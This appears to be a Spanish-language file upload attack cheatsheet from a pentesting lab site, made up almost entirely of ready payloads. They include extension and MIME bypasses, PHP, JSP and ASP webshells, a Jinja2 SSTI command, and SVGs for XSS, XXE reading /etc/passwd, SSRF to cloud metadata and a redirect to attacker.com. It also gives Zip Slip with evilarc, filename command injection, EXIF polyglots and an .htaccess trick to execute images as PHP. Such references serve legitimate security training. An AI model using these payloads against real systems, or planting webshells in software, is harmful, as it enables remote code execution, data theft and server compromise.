Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet File Upload
Vulnerabilidades en subida de archivos
Referencia rápida
- →Siempre probar multiples extensiones alternativas: .php5, .phtml, .phar, .shtml
- →Magic bytes (GIF89a;) bypasean validaciones que solo comprueban los primeros bytes
- →SVG es un vector ideal porque soporta JS (XSS), XML (XXE) y URLs (SSRF) simultaneamente
- →Si se puede subir .htaccess, cualquier extension se puede ejecutar como PHP
- →Command injection en filename: probar ||, &&, ;, backticks y $() en el nombre del archivo
Bypass de extension
Doble extension
shell.php.jpg
Extension con null bytePHP < 5.3 trunca en null byte
shell.php%00.jpg
Extension alternativa PHP
shell.php5 / shell.phtml / shell.phar / shell.phps
Extension con punto final
shell.php.
Extension con espacios
shell.php%20
Extension case manipulation
shell.pHp / shell.PHP
Semicolon (IIS)IIS ignora todo despues del punto y coma
shell.asp;.jpg
Extension con NTFS streamWindows NTFS alternate data stream
shell.php::$DATA
Bypass de Content-Type
Cambiar MIME a imagenCambiar el Content-Type pero mantener contenido PHP
Content-Type: image/jpeg
MIME SVGSVG puede contener JavaScript y XXE
Content-Type: image/svg+xml
MIME GIF con magic bytesGIF89a son los magic bytes de GIF
GIF89a; <?php system($_GET["cmd"]); ?>
MIME PDF
Content-Type: application/pdf
Webshells
PHP webshell simple
<?php system($_GET['cmd']); ?>
PHP webshell corto
<?=`$_GET[0]`?>
JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>ASP webshell
<% eval request("cmd") %>Python (Jinja2 SSTI en upload)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}SVG malicioso
SVG + XSS
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg>
SVG + XXE
<?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg>
SVG + SSRF redirect
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="http://169.254.169.254/latest/meta-data/"></image> </svg>
SVG + Open Redirect
<svg onload="window.location='http://attacker.com'" xmlns="http://www.w3.org/2000/svg"></svg>
Zip Slip y procesamiento de archivos
Zip Slip path traversalCrea ZIP con archivos que usan path traversal al extraer
python evilarc.py webshell.php -d 6 -o unix -p "var/www/html/"
Command injection en filenameSi el backend procesa el nombre del archivo en un comando shell
filename="test || sleep 30 ||.gif"
Polyglot JPEG/PHPInserta PHP en los metadatos EXIF de una imagen real
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
.htaccess uploadSi se puede subir .htaccess, los .jpg se ejecutan como PHP
AddType application/x-httpd-php .jpg
Herramientas
fuxploider
Fuzzer automatizado de file upload que prueba multiples tecnicas de bypass
python3 fuxploider.py --url https://target.com/upload --not-regex "error"
exiftool
Inyecta payload en metadatos EXIF de imagenes reales
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
evilarc
Genera archivos ZIP con path traversal para Zip Slip attacks
python evilarc.py shell.php -d 5 -o unix -p "var/www/html/"
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica